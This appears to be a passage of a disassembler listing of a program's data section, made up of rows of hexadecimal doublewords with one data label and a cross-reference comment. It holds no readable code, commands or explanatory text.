20151390h dd 1258B471h, 2511A340h, 0D4046F26h, 0BCC8B8A6h, 0DF008CBAh dd 0B480D1F8h, 97F9E62Dh, 12FFD880h, 29133AE1h, 14C07F83h dd 0D3551007h, 0D618E474h, 4F1F40B0h, 0CAE57586h, 0A54CDE74h dd 0BCE48845h, 0F0F5D860h, 7E69F301h, 0B1685A98h, 0E02537D1h dd 90CC6E2h, 50200402h, 0B982FC09h, 8CE1B299h, 554830A7h dd 5810578Ah, 0D907537Ah, 1BCE1888h, 0E06777D0h, 8A0302ACh dd 36C39D3Ch, 0BA091850h, 64E39B29h, 12A40B18h, 0C0A1AD2Bh dd 6E3B1D89h, 589018C8h, 7CF8ECE5h, 0D94D008Ch, 6E6743AEh dd 0A494208Ah, 24FA8580h, 58DF0C98h, 0AB02B492h, 81E3C91Ch dd 0DC0C5Eh, 334FA0D9h, 6C5ED007h, 9D631A03h, 4FB0E23Bh dd 47C822C0h, 9C008072h, 0D8EC3E8Bh, 12FBC12Dh, 0FC17F880h dd 8CB6EC90h, 8AB1BD12h, 860954A3h, 40E81A13h, 424B3B36h dd 6B985421h, 5F0D2B07h, 0BC6E6FA1h, 0D1FF1807h, 158AF15Ah dd 0E601E653h, 8060179Ah, 6C114177h, 0A484DC48h, 33016BEBh dd 31D92ADEh, 182F2B14h, 7700B523h, 9102C8C2h, 0C01A5F4Bh dd 0B2D9F93Ch, 2393290Dh, 0F800687Ch, 918FAA97h, 2A460138h dd 3B64038Bh, 655A0440h, 0C0E295B1h, 3B9EF261h, 6092B606h dd 0BEA32D08h, 964F0549h, 2268A979h, 3C379F26h, 76112109h dd 59DB4080h, 33482DFAh, 98B05BBCh, 22128816h, 7A8A14A0h dd 0B0937F2Ah, 9876DD00h, 0C8BC086Dh, 0EF3801AFh, 171C9A19h dd 0F0D866E3h, 3C9F72F4h, 0D225F1C0h, 7FEF8C10h, 0C2312F03h dd 1F5425F0h, 0A0EC2698h, 1B2E6913h, 346C40B1h, 0AC5C923Ah dd 1602B910h, 5C8B5F72h, 40C7BFC8h, 0F5A52130h, 0BE8B07Eh dd 99863042h, 0AEE8ACA4h, 253C186Eh, 0A81E8317h, 40D38F44h dd 72BCBD03h, 57A51CF3h, 0CF8F446Bh, 9B7482C1h, 801048D8h dd 144C1423h, 388CBDE8h, 40AC49C3h, 9AB5010Bh, 64222B20h dd 58ECB6F0h, 0E84A264Eh, 97ADB0D1h, 807A9120h, 0CB539422h dd 0D3162FB6h, 0AEC87000h, 0EB984C3Dh, 0DB116C9Ch, 0D827FB02h dd 0B8D9223Eh, 202C12h, 28D7FD9h, 2E7E159Fh, 0ECA3FDFEh dd 11FA80F9h, 0DCDB4451h, 0CEB55B60h, 97AB2916h, 172DF8F0h dd 3E3E2196h, 0E58C7924h, 0ACEC4Ch, 0F2EB7379h, 1830948Bh dd 0D99FCC01h, 42144556h, 880DC460h, 1A602103h, 0AFFDE839h dd 0C0924F93h, 69546318h, 44749588h, 3B208368h, 90720279h dd 78A69F73h, 465E485Eh, 0A1F702B6h, 76762C5Bh, 455173Ch dd 15DB04h, 0A502EB0Ah, 61CCB044h, 0B1D1A920h, 18386292h dd 6480E8FCh, 3FA4FA60h, 0A15E582Ch, 88A80F18h, 2D2CC1B5h dd 815070DBh, 3CA7045Eh, 23702F5Fh, 46BA00C0h, 3A808D2Bh dd 75A503Eh, 0A98AE0F2h, 0BAF808F6h, 407FF500h, 0BFECD010h dd 744C5305h, 0FB3A0598h, 40F879C9h, 28B73380h, 0D471D0DCh dd 552575Ch, 0D2FFDE25h, 61880CA8h, 40B9AA93h, 470B10ACh dd 50F3AB60h, 149F1278h, 9E102035h, 0AF5B72C3h, 1168F448h dd 0A20C5356h, 9F0530BEh, 0B9B82300h, 0D9D5ED18h, 9C3AF766h dd 11412EB8h, 0BF88C80Eh, 7C0823C0h, 85443EEEh, 0AB17150Bh dd 8CCEC0Bh, 0DC73E091h, 8E872C60h, 9F56AF05h, 0B0819B94h dd 89009312h, 0E0957F35h, 4F33407Ch, 29C0819Ah, 296475B1h dd 0FC03B824h, 24925CC0h, 17E3AB09h, 474C506Eh, 4DAB8110h dd 0CDC0FBE1h, 0E8614828h, 20CC0B00h, 639ADF24h, 0FC44D802h dd 0D0CEDB62h, 38196A84h, 0C8DE4950h, 2A9EF803h, 24B97015h dd 415C3412h, 0F2A71669h, 2A21507Ah, 949C04ADh, 787AAE11h dd 5824BD00h, 173B8B2Ch, 142CCEBDh, 442712EEh, 3F358F09h dd 64BD60D8h, 9BCA0538h, 0FA7C8595h, 182BCC20h, 5B020BD6h dd 30A072CEh, 9EF917D4h, 795FA8B2h, 8CD5C440h, 3B568Bh dd 0C7EDFD2Bh, 30AF823Dh, 1FEEE000h, 9EFC41D4h, 0A88949A2h dd 0C9F94209h, 0FDC64DEh, 6C9F77A5h, 0A0852270h, 837C73C8h dd 93791822h, 392F3E54h, 5AA53890h, 7A900E0Eh, 8C8F6167h dd 0ECD00BB2h, 600200F1h, 88372758h, 0D8A42BA0h, 89342C58h dd 53F88023h, 0E6FAF681h, 0D2DB00D3h, 4B01CDADh, 180055E1h dd 0A61BABC9h, 0B41AC0DCh, 0F19F9390h, 4442DC4h, 8E12DBA0h dd 0D8E10F0Bh, 0BBD8505Bh, 18F68C93h, 2A80C0C2h, 0F1C0F125h dd 1C0D18BCh, 8B7974h, 901C636Ch, 0AA777735h, 3C70A548h dword_4E414C dd 348EDF1Eh, 9FC07CC8h, 62A49475h, 0A96358EEh, 8E109CDAh ; DATA XREF: ___:off_43ACF4o dd 0C5071449h, 0BB8220A3h, 890C8066h, 30AE6F25h, 0E0790091h dd 0B3383AF9h, 0DCA0D1FBh, 22E91132h, 73911764h, 8C2FD800h dd 3A8E7CD1h, 445BD81Dh, 1DB8184h, 25051EDCh, 528BECh dd 606F0C57h, 69D64A6Ah, 5881015Eh, 3B0915B7h, 70525C0Fh dd 0A0B8672Dh, 0EAB5E5AFh, 0C5A4D320h, 0D51C21A9h, 0FA30A520h dd 9F5FC74h, 181D97AFh, 1B670420h, 0AB132C03h, 0F0D143AAh dd 6E8286h, 0DE265870h, 38A60A81h, 0A09C2F74h, 3EE3A388h dd 0E3E57216h, 32D60114h, 1A01F62Dh, 7C88503Eh, 5A54A04Fh dd 0B84ACAF4h, 8F27F8A3h, 192DACD1h, 0D73FDCE0h, 1D5D3E8Ch dd 6320A92Fh, 0A1048705h, 0C04EDB9Eh, 130D091Fh, 0E236B8E0h dd 0A8AED728h, 0B1517086h, 61700190h, 82DC6D16h, 0A5AAE62Dh dd 8C364A8h, 8CC8B539h, 889600C0h, 0D48FDB37h, 1B7AB63Bh dd 0D5578B01h, 93A48A5Bh, 7B88006Eh, 79D74E90h, 9EF54700h dd 0A1940923h, 9F17018Dh, 5F5422DAh, 6A68D8ECh, 4C209D60h dd 76C75505h, 2F220E2Ch, 43479E92h, 48E841EFh, 0F887D1Ch dd 0A31BA67Eh, 0D01325D2h, 2CC09AEAh, 7D59A3h, 0A6E21EE7h dd 0B3EC9D79h, 9C2FC3Eh, 821C64CAh, 0D0372D98h, 0E06D0EC8h dd 0BEA00D20h, 0FD7F618Fh, 59A17C2Dh, 0F1815D2Ch, 25111B8Ah dd 482D0891h, 300862B2h, 5B0F0281h, 2650102h, 0A502228Eh dd 39830230h, 2DE8402h, 9407F043h, 800E19FCh, 36805AB6h dd 5D79C897h, 8317124h, 3B01355Fh, 0CD42015Ch, 187E101h dd 4B01C8D1h, 0C2090119h, 1C58801h, 490113E0h, 915101E9h dd 1548C01h, 480128DEh, 105D03F7h, 10E67251h, 9041F575h dd 0FE070888h, 3B60BB08h, 403788D4h, 80A83A78h, 99816B70h dd 0C1D79451h, 169FF01h, 0E3016D3Ch, 10A103FAh, 19ED3289h dd 0D219F9B6h, 90A26E02h, 9507966Ch, 9261818h, 35816E02h dd 10C8A053h, 103D8081h, 1D10243Fh, 98442A38h, 9A09DE62h dd 5E9602FDh, 21AE002h, 0EE061772h, 76542061h, 30F8D554h dd 0C4B86840h, 48880E9h, 53040BECh, 0A4570A10h, 823B588h dd 0DB081ED8h, 6924187Ch, 3D81D79Eh, 0D8F05195h, 70EA3710h dd 0E3DD7041h, 2706D912h, 0E01C2089h, 6202A820h, 0D0E52956h dd 844D7D05h, 13D12914h, 0B17A2A01h, 39E819D9h, 2ACD4190h dd 0D20CCE2h, 0F80C32FEh, 7602E6E1h, 877102D4h, 2815102h dd 63022C85h, 0F16B02E4h, 2086402h, 0B802FC5Ah, 0E1CB0267h dd 28E0B02h, 0D3028DB0h, 0FF59025Fh, 5335402h, 0CC9044FEh dd 7DD90430h, 0C2B7E04h, 406331A2h, 9240407Bh, 9F88A961h dd 211FD998h, 4D805E55h, 880F81D8h, 8CBEA79h, 29086ED5h dd 51140804h, 8D31308h, 5236D150h, 1C22008h, 73596A63h dd 10F920F6h, 20216C20h, 27205CBEh, 91F96220h, 40525ECh dd 0E8EA8C5Ch, 0F9904232h, 81CA06DEh, 2D99BB65h, 2F938444h dd 0AC83304h, 6088AC17h, 0C63E08FAh, 837B508h, 508F92Eh dd 19650D98h, 8C02FAD1h, 78480213h, 0DB1402h, 805EFD02h dd 181B496h, 227C4F92h, 0F0E9BC64h, 1E643367h, 6DD92E10h dd 88DE4D6h, 4ED92A04h, 0CA007DAh, 0A71B004Ch, 6F283058h dd 0EB036A10h, 5D69099h, 6580A046h, 0A1DA2292h, 4F07498h dd 52D11200h, 27B457A6h, 2421BF2Dh, 606DAC4Ah, 0A27CCE8h dd 8950C06Ah, 750500AEh, 0E33404A9h, 0A80EFC4Bh, 2C4A0C8Dh dd 4FE830DEh, 0BC40A4E6h, 90149E4h, 8F05BE90h, 0E474B493h dd 0C0483D4Dh, 8A80AC07h, 2F81AFB1h, 3EF9FCC6h, 500E45Eh dd 54A0AF83h, 4F2533E7h, 24E0CA20h, 0D46E1949h, 92736270h dd 0B668E04Dh, 8A4001BDh, 0BCF78DBEh, 0FA68CCB4h, 0BD1160Fh dd 0ABA52002h, 1927B1Eh, 0A62D25CEh, 86EA0880h, 0E90D0A80h dd 1605F8E9h, 0D1A5B976h, 40E3CC30h, 0FFEB6D6Ch, 79FC12F0h dd 0C950AC00h, 0C229A7A4h, 2C30CE23h, 2A474643h, 79D72899h dd 80F80AD8h, 0F3C8C50h, 68365A1h, 2810A51Eh, 14B08A0Ch dd 0EC10308Fh, 0F9F24600h, 2EF480FAh, 19477F00h, 0A00CBAADh dd 0CF2707DFh, 0C202FF93h, 0F1875658h, 0F8A3AE44h, 8588E8CEh dd 69FE4CA1h, 0C27F720Ch, 1276883h, 1FE9ABD6h, 68E84A42h dd 84F90AFCh, 1580C4B9h, 75569E83h, 1D506F8h, 0C0908F2Ah dd 26742227h, 0C02F20h, 0BB18DFD8h, 232A6C4Ch, 0F43081BFh dd 0B0A77DD5h, 8DE8B068h, 0C1E00400h, 0E774120Fh, 76A8A48Eh dd 0E3050089h, 0BC8DB779h, 1A674DD1h, 202F14A8h, 0E37B2266h dd 0DCD73E48h, 17932600h, 0CAEE1192h, 8D6EE100h, 5E621451h dd 2FA701C1h, 6B8FCFFDh, 72E84CDDh, 97732A10h, 0AE9EC503h dd 0D0002478h, 2F05B689h, 50934937h, 0FAD0887Ah, 0B9500092h dd 80E8CA73h, 48F95A0Ch, 2729C4DCh, 4A09ECD5h, 0CB470EAh dd 91438FCAh, 1C004718h, 0C4B4596Ah, 895E8h, 89C09AA6h dd 2A62CD7Ah, 40F93437h, 12805320h, 77C20351h, 9A3AB8A9h dd 0F038FAB8h, 0B889BA3Eh, 58E73090h, 1A81E45h, 0E8E2B67Eh dd 0C09B9AEBh, 75011C57h, 0BEB28BE7h, 8C20099Fh, 77AA0060h dd 9D9BE8A8h, 0A101445Eh, 8FC35012h, 34203D13h, 98510191h dd 0E8E5DE78h, 8EF6ECEFh, 61927F01h, 0D40BA857h, 0E4D97F0h dd 2A75AFE3h, 0FBB88CCCh, 805EA03Ch, 3F081620h, 4EA68096h dd 0FECD570h, 9E4C0A68h, 583029B8h, 0F71C3896h, 0D0D10009h dd 35A979CCh, 5F703721h, 84826A3Fh, 1691A777h, 144586C0h dd 2F03006Bh, 0DAD1FF1Eh, 6C0683B1h, 2EB729B2h, 0CFC72650h dd 9EE10034h, 0D84A78BEh, 80E43950h, 0DC1E322Ah, 840E9C7Eh dd 6073BA0Ch, 0E849FD46h, 3D1B81A3h, 22AB2748h, 70604480h dd 92F702ACh, 3C2C78A6h, 9026EC44h, 381C053h, 840CA815h dd 0BB8FF040h, 1C70C35Dh, 0A1A5D872h, 0B0F5F3C0h, 0D107DEB0h dd 0F85D97E4h, 0B8C0BE7Eh, 0EF349912h, 78F101E8h, 4170598Eh dd 79C8F317h, 0E9073766h, 16389B9h, 148258A4h, 0E4D864DAh dd 0A9801752h, 2AA0A0D6h, 4B46243Eh, 9613A0C1h, 40832C30h dd 1CA8DF06h, 0A9117E49h, 1C210FDEh, 102FBC8Ch, 40866490h dd 9740902Dh, 75076665h, 0D37F438Ah, 3115F9Fh, 221F9B00h dd 4D6A2C6Dh, 0A97FC317h, 0D8605493h, 49192A46h, 0A8109C15h dd 613D9Eh, 7AFA3E7Dh, 0EC05A301h, 6411042Ah, 0C12B14A1h dd 326692A8h, 23802E28h, 30806824h, 458D01F4h, 60A50022h dd 0A87A63EAh, 4622B39h, 0CA9E70h, 5AC77E22h, 8F26C2E4h dd 9180B410h, 2E672B53h, 0D490E4h, 16AA0CFCh, 8FCD8012h dd 2926E3EDh, 0EB646865h, 808B60C8h, 8309752Dh, 0E11F83Dh dd 0F9AB87FDh, 8F6D3880h, 15FA3A61h, 2E106532h, 4090806Eh dd 0F1F7D800h, 0F2AB84ACh, 20B490FBh, 0E8F9AAD6h, 5017D11Fh dd 0C2002265h, 6891F96Bh, 2BE218A7h, 25011A5h, 40E38F26h dd 5C23B380h, 1D49D1ABh, 9C29965h, 8C0115EEh, 0FD2A89A0h dd 0D088343Ch, 0C3466C9Ah, 0F238027Ch, 5E80FCABh, 760988F0h dd 27FB172Ah, 0DC9083E4h, 0EEF66ACCh, 0EDE7007Bh, 684EC4D7h dd 0C369BB2Ah, 83B41228h, 88D40A44h, 2029A8CBh, 0DF073922h dd 0FAAB2D5Ch, 1CD08A84h, 8081C08Fh, 0A324CABAh, 0F98BE824h dd 429822B0h, 206CC13Bh, 0A6203832h, 2CEF532Ch, 0F73C066Fh dd 7964A011h, 0D270A3D4h, 81F043EDh, 54247280h, 22702Fh dd 0EA0B8FA8h, 5192F86Ah dd 4840B000h, 0BAED9F5Dh, 7E5026A1h, 485C2590h, 2563C42h dd 0C82815DDh, 0B658E100h, 7384688Dh, 6108A292h, 7083E428h dd 3ECF2A7Eh, 708A4801h, 9D677202h, 0E94A5060h, 0FBF800F7h dd 0D7830D2Dh, 0F160BF76h, 399E9B90h, 0E9D3007Ch, 4A62701Eh dd 30C9727Eh, 8F6890A2h, 489150CDh, 147BF6F7h, 0E24080F1h dd 6201007Ch, 4272C15Ah, 0AD032C1Ah, 0EB80E288h, 0A400871h dd 2904C9FDh, 14D28D69h, 4EE11B2Ch, 78AC62E3h, 0C761B8C4h dd 0B5E9E800h, 12029BA7h, 5780F51Eh, 0A9E0A1E2h, 7C70FEBBh dd 0CD7280B6h, 6E1168C0h, 1C304FCFh, 4646342Bh, 5020A74Ah dd 0FB609A60h, 302A986Ah, 1E78C680h, 1B005025h, 750E68E6h dd 17FC4A7h, 7B059E90h, 23E7458Ah, 6048D8h, 836D291Ch dd 91CC27CDh, 59240108h, 6F4E91A5h, 70C40C24h, 314A04C8h dd 0C988CC18h, 0E8942025h, 7028E493h, 6ECADCA0h, 80B15C98h dd 4BEEF989h, 0A4780174h, 219E069Dh, 0ED49E44Fh, 0E62000B5h dd 982815E9h, 0ABBD25E0h, 0DA0BE47Ch, 2DC09666h, 94D08305h dd 3DF07201h, 0AD854A57h, 0F418B9B1h, 3BCF0AEh, 0D0A1D09h dd 7B3898F8h, 328500DEh, 43580B50h, 6200D628h, 2260151Ah dd 9AB75Bh, 0C6993536h, 0DF93E8EDh, 2DE2F503h, 0B8882Ah dd 67B0F290h, 8FF39DABh, 94042626h, 4A01E651h, 6C822E27h dd 0BC89CBDh, 128F664Dh, 91AD98C3h, 6059E738h, 8800DAA4h dd 21ADCC33h, 5C0CAC7Fh, 3E19B40Ah, 4C893040h, 0FB2A2928h dd 530B98F6h, 823C6B96h, 6A372A2Ah, 0E98C0078h, 3190B6h dd 33C5D0E1h, 7F806A52h, 486D2830h, 0FEAA2FE2h, 58220FE8h dd 9A0C2756h, 87131510h, 0F4017D4Ch, 428A72CFh, 532A2073h dd 946F2044h, 98E82C50h, 0B49260B0h, 0C2DC94ABh, 145B42D0h dd 8BEC7FBEh, 667ED4A0h, 5FFF8E09h, 8F003011h, 80025058h dd 7FA100B3h, 3320BB76h, 9526DD6Fh, 40000CD6h, 2A0CC42Bh dd 0CF49075h, 69DB7F7Dh, 47006F40h, 3FAE4C19h, 0FD6AB2h dd 6CB54492h, 88A8C2A0h, 0A6220B00h, 0AE40E5FAh, 4C158A7h dd 1FA31F12h, 0AB308264h, 8C1ED39h, 7FA00732h, 3FBD154Ch dd 2139A7C8h, 7D114BB2h, 121C9861h, 1170689Ah, 0C4E68146h dd 372CC715h, 20B25013h, 0E2B8C61Ah, 71D20166h, 0D86911BDh dd 25EEC8DAh, 0E0DBE00h, 9F526312h, 0BBE5001Ch, 666A15B1h dd 21034C28h, 7AA789B0h, 5DA6B2BAh, 80552424h, 78B638A0h dd 7415942Eh, 591C0C40h, 7E0A09FAh, 0B42EFBE1h, 49FD7280h dd 40DA476Ch, 0B8C84018h, 5697B85h, 15047FFAh, 28F004A8h dd 4AC08161h, 0A55C65D0h, 29E8E8C0h, 48E55CCAh, 2475AA80h dd 3F0C4F3Ah, 3018B449h, 9961C0CDh, 0CF4E89FBh, 0FA78BA98h dd 0A18C1E12h, 89D7484h, 823C817Ah, 10492A16h, 3660C9A6h dd 0F0923820h, 0B0685C46h, 99AD8F0Ch, 223A5128h, 7EE801A7h dd 0F9C94FDAh, 0A2850060h, 90D89CF4h, 9690h, 5B636BA3h dd 52128FCCh, 0B8D76803h, 7D9AD883h, 109E6230h, 80098B3Dh dd 97467547h, 0EA070543h, 93C1292Ah, 8AE00C2Ch, 1F597F44h dd 92650040h, 0F376AA6Bh, 2678E5h, 271A4BD2h, 416F7C28h dd 0C84A1117h, 71C24E0h, 0E9B56A8h, 0CA9AB48Fh, 0DD8039F8h dd 2AE70764h, 92006AA8h, 2C021B49h, 3EF07537h, 90BEAF1Ah dd 0FA4BFC44h, 57AB0030h, 0A9090B47h, 6013DB20h, 48E041A2h dd 27801C7Ah, 0AE891CBh, 45D45A22h, 0CD9C0E29h, 9E06F094h dd 58717546h, 993030A0h, 0BAF33F80h, 0F2B4BA84h, 7C40C116h dd 2BF649BEh, 1394CF0h, 0DC4B91E5h, 0A688408Fh, 44EA6070h dd 0B5D2C706h, 31D52410h, 0D0E61814h, 20C962A3h, 54C028FDh dd 0F8304649h, 3C00072h, 0CEA7EBCFh, 8A05A21h, 0E2BD58Fh dd 3B3C68h, 4C0A1E75h, 0CACE8Eh, 0AED80CE1h, 2F679221h dd 0A5F27903h, 0A024E7D2h, 0EA299E8h, 2943A47Dh, 7207D788h dd 0AF605E7Eh, 94FA4CE5h, 0AC2D14F8h, 47C04458h, 6C5BE4C7h dd 27CFF51Ch, 4900DD5Fh, 7D4A29BBh, 9426302Ah, 0DC460431h dd 99E1F500h, 0B06922CDh, 0C0FF2429h, 3000E940h, 180BAC8Ch dd 0A090E18h, 3ECCE79Eh, 35810CE3h, 29559251h, 80ADDC4Bh dd 0C47A9624h, 0E0FC6889h, 4D604AA0h, 9104003Fh, 0C087E616h dd 0E9E77782h, 0E20E3302h, 0F6952AF9h, 808A0744h, 0EFD58204h dd 4EE96001h, 0C36B8DE0h, 0AB716110h, 0A838F07Bh, 8804CCDAh dd 0FA8F415Ch, 759040CBh, 0F10F65D4h, 0F88E6Dh, 0E568AE8Dh dd 842750B9h, 154916BDh, 71DC9CC5h, 6F7F7A12h, 1980BCB0h dd 80956D2Ah, 0D827C45Dh, 8399A31Fh, 42D4C115h, 0D8027640h dd 5D8DE84Ch, 2A334187h, 8465E7D1h, 844B7447h, 44802D94h dd 0A0A05180h, 1865DBECh, 90CD5B4Ah, 7D1352F9h, 0B8CBFCBDh dd 0AF736202h, 7CD44D91h, 5DA8086h, 99CA0581h, 817E87E1h dd 30D2A172h, 11068F70h, 5C357F67h, 58576528h, 0FBD40336h dd 0A2908DE1h, 6A308FA6h, 7D266886h, 91EB0262h, 2E274555h dd 8946A0C0h, 2489B0DCh, 3A029FCh, 1359AF98h, 0D7A458h dd 4C94ADECh, 0C6002AC2h, 13EB9BFCh, 607C7F62h, 47E40B6h dd 903F6020h, 21DCC942h, 4401366h, 1F3E7F8Ch, 2E286C80h dd 9FF7DEh, 0DD7321BDh, 2DFE77BFh, 99F9C8C2h, 53051C0h dd 8C428BA0h, 0F32E68A0h, 0D822112Ah, 0BAA17101h, 748FDD5Eh dd 0E047FC52h, 3E7095E8h, 0FD3B1817h, 69C218EFh, 0F056DDD5h dd 980038A4h, 80CBEDB5h, 187660FEh, 5549CC4Fh, 0AF280F60h dd 5CE49BB0h, 97049CE0h, 850DB4F2h, 0BB7480E8h, 32018B6Dh dd 127D5829h, 0C86CD065h, 0A68A024h, 25C661Ch, 0D04F2A84h dd 3046DF01h, 92812EE0h, 0DC3D5898h, 60058E12h, 0CE6B2210h dd 0C981AD1Fh, 25E3600h, 59CAA124h, 0A05FC89Ch, 7D0017B0h dd 21DCE75Dh, 344929F7h, 9220326Dh, 98052ACCh, 0D1A6885h dd 80FCE008h, 8E9D50F9h, 0F33E004Eh, 2A23D2D1h, 22E67F59h dd 7C333A4Eh, 78A050B6h, 471C2F40h, 307D1878h, 0BA78EB0Fh dd 1E0077FCh, 0D48F66BEh, 90A89826h, 7DC430F4h, 0F5755EB1h dd 0A483A300h, 52E10571h, 255AF03Ch, 6C03992Ah, 0C5F5DAC7h dd 0F470A0FDh, 9285A009h, 3EC84463h, 800F15E5h, 8853B4CEh dd 91208F9Ch, 24DA4E81h, 8CA08290h, 0BC7EE0C0h, 6BE54919h dd 43FACF90h, 29ADF874h, 0F64B648h, 0B200D1Eh, 6A7980C6h dd 2C13889Ah, 50315921h, 11009EAEh, 42F0CB6Dh, 8C10C160h dd 183A073h, 8D99FCC0h, 97ED782Ah, 0D0069258h, 2EA8B368h dd 62340EF7h, 0E4427D57h, 0D921C80h, 730B1C46h, 20F4947Fh dd 8D261B18h, 0A1ED022Fh, 64920177h, 0D75A3044h, 8480D042h dd 0EFE47AA6h, 2700403Fh, 60C72332h, 7244A4Ch, 1EA9A373h dd 82892AC0h, 53035BB4h, 941100E0h, 5E1EB2ECh, 4594C058h dd 63C4217Ch, 6585688h, 8BAB8024h, 8A7E1D74h, 5B742CBEh dd 10757030h, 0D7B5F2h, 22FF1147h, 0E8624337h, 0CC172A13h dd 4049C48Dh, 3929F010h, 5720C168h, 7CAFE37Fh, 8488117Ch dd 7212CC48h, 1004A2D9h, 6802CC3Bh, 5B21B39Bh, 6D5C64E6h dd 0D5F28460h, 243650F1h, 0F8109125h, 4F5F64F9h, 48801C21h dd 0D38CA3C6h, 0CAA1E254h, 0C9F8490Ch, 9C09BEF0h, 29EF6608h dd 0D4A4ABF4h, 824FB59h, 9B09BF9h, 98D8598Fh, 0C6E84BA1h dd 64025C51h, 0E005291Ch, 0F4A97CC0h, 0E34CB219h, 88E306Dh dd 0C38548F4h, 0E70CC278h dd 189128A4h, 1B69A31h, 76D8FB78h, 39A721BAh, 4CC75108h dd 12578A8h, 0FB2C3942h, 80BA2830h, 0FC968C7Fh, 14148A12h dd 1E0AA0A0h, 0E02980EAh, 65129091h, 0B3E41006h, 4A64B0D1h dd 0D5D42098h, 0BF52CA8Fh, 5A8600CCh, 9F68C2CDh, 8495092h dd 0E8BA4D80h, 532A770Eh, 0E00C8917h, 0F1C0CB0Eh, 0F9A90949h dd 84809419h, 0B3212ADCh, 0F4CC5148h, 772E1127h, 4A50549Dh dd 0E88E0421h, 9523BF0Ch, 0C87C2D54h, 0E916E646h, 3C121CB6h dd 492F3402h, 64D805h, 0B4FADDD6h, 6B91ACDBh, 74450C0Bh dd 0F54C0493h, 82D800D2h, 0D1AFF128h, 38F6098Ch, 3DDC1400h dd 480CB60Bh, 58312A4Ah, 4EE41Ch, 0E075E944h, 70ABEA4Dh dd 7E498A00h, 64F6CAB4h, 80749411h, 760AD6F8h, 0BC009B82h dd 80A521BFh, 0D07D0Fh, 0E8FB342Fh, 0F5F11D89h, 0FE29B909h dd 4F08209Ch, 60A82A7Eh, 47211EEh, 7F275812h, 52D400CAh dd 51ABAFD8h, 0E032F0E2h, 0D0F7F00h, 468FFE32h, 0A248BF48h dd 4A5440E6h, 6864EFB7h, 9F389EAEh, 571E05D1h, 881081C9h dd 0D81C5192h, 7022DFh, 1F0E1E45h, 1F68DDCCh, 4089BE90h dd 0F0BC2F28h, 0CCBC9EE9h, 68849252h, 0B57AC7B0h, 1818180Fh dd 8CF9EF7h, 2A8701F2h, 3884BDDEh, 88F068FEh, 837B5D58h dd 0D4004671h, 77CC2739h, 0F67CEFA8h, 68014E6Fh, 0E92E4AE4h dd 4881405Ch, 2713980Dh, 5CDC4h, 0A6220439h, 63FF3CDBh dd 2BC4A709h, 60CCEA0Ch, 0D276CFF7h, 0BF0801C9h, 8726C049h dd 7E5DF950h, 80B090CBh, 117C6497h, 258CD836h, 9AA6D612h dd 10EC0C14h, 4F16BFC8h, 0A8080033h, 8F3E9EB1h, 70CE1320h dd 4D689869h, 29C2A07Dh, 0F605E2C0h, 0D392E8C2h, 342882ACh dd 386CBD46h, 50458F5Ch, 865FC76Ch, 71ADA406h, 7E211E38h dd 0BE76C0ABh, 66C0DA77h, 4A730406h, 90E8367Bh, 49B3127Ch dd 0B470490Ah, 0D0C97C06h, 0DA7D6E01h, 4DA64AEFh, 68F0D4D9h dd 2E4279FAh, 64AC6D48h, 0F78CA0F3h, 8C406C98h, 211F01A7h dd 74039D7Dh, 49CC20F4h, 16411800h, 7501A522h, 8FDF090Eh dd 6825DD36h, 5F0C9049h, 4B4A097Fh, 9ACEC0C8h, 0E1C921C8h dd 2ED92904h, 0CF80F201h, 28E06472h, 668F838h, 63F34A51h dd 8FD00DA8h, 7C38FD53h, 64802490h, 158EE6C1h, 45A40E2Ah dd 44E9E805h, 2D4E734h, 8D097687h, 8CECF6F0h, 4E87CE1h dd 48D6D1C8h, 946CC01Fh, 0A42E9566h, 233ABCCDh, 780A14FEh dd 0C06E2912h, 48B519B4h, 80E0F60Ch, 304C9A9h, 8F674998h dd 30009009h, 71D1771Bh, 9624082Ah, 49094FB0h, 68F928C0h dd 0B690F712h, 8FE85C91h, 0EA196CCh, 0E75A1246h, 44C0834h dd 76729502h, 1040D6A5h, 7F00CB78h, 7C4A1BA6h, 4838D5BAh dd 7D12C0EDh, 290900CAh, 0AF49CFA7h, 0A4AC3050h, 99683E02h dd 0A3264F0Eh, 0F0832C9Ch, 50124Eh, 0F0D0DDD5h, 0D82A1065h dd 8EA8C960h, 12155AA7h, 0F0CC80DAh, 37482FC8h, 278971F4h dd 4EE466E6h, 0CF78A062h, 4415312Eh, 99F06349h, 28A825BAh dd 0A8C520C0h, 1CD47900h, 2210C3FDh, 48580069h, 2C273D05h dd 213D0BCBh, 6A49044Ah, 38B0AC2Ah, 42D90430h, 3117D29h dd 0E4C0AFC7h, 0D30520B2h, 0C0F4D8BFh, 4A8AC434h, 0B52A2309h dd 2C7859BEh, 845C109Ch, 0D0E0F88Fh, 6D270DBFh, 0F0083C99h dd 109DB341h, 1FF5DFB4h, 80AFC4A5h, 68EBC2A7h, 0AC38598Ah dd 565C040Ch, 24A6AE90h, 59134A0Bh, 608F50E0h, 0D97C0595h dd 0B5E40CCh, 6824F290h, 78E004E8h, 48DB9400h, 4A7C5492h dd 0D09E6034h, 1A88EEBDh, 4E584F07h, 82F12728h, 4870A9EBh dd 0A0800773h, 853BA7FCh, 0C4081E71h, 0E06B49BCh, 0A25D104h dd 29280251h, 0F9F8A507h, 3118E0E8h, 908099E0h, 0D4DF8E2Eh dd 0B11EC4A8h, 460262E6h, 0C899498Ch, 77BC424h, 4D1CDADEh dd 0A0C5C584h, 0C1E82898h, 66AD8501h, 0E2E6A13Fh, 3B3A5F0h dd 20A6F158h, 8CA490ECh, 0E475F484h, 920D6900h, 0A2621A48h dd 0ED80129Ch, 568C81B3h, 133816A8h, 14DAF8Fh, 0C749BB40h dd 0CC302A6Fh, 929931F9h, 1360985Ch, 41FCC980h, 6649197Ch dd 0F0A8A444h, 0AC0B1711h, 3C44F69Bh, 0B18481Dh, 0EB491F83h dd 1614A7Fh, 0B40C6750h, 0C1828C8h, 5041AD4Ah, 43F9006Ah dd 10F15A22h, 2700C66Fh, 989921Bh, 3F718A11h, 0B8E33990h dd 0A8F01E46h, 0E83A91BFh, 0CB82029Bh, 70E32A60h, 56A70058h dd 7F4BC17Dh, 0BC921969h, 9A9D64Ch, 0E2A1ADF9h, 2B080444h dd 0FCCB4CB1h, 2C22AD1Fh, 0E5240F4Ch, 0B98A2920h, 7F0B28C3h dd 9C610007h, 87AAF339h, 12490AA9h, 40417F64h, 252A5060h dd 6CE4CBD3h, 9865C4F0h, 0A41D10h, 90972508h, 0DA8A74E0h dd 639470C2h, 7154720Bh, 98F44ABCh, 50EBED8h, 0C2CAAADDh dd 846FDABDh, 3CC0359Ch, 0EBC6B42h, 493AA739h, 0A368B72Ch dd 0C80D0104h, 70C057ABh, 0CF77DB80h, 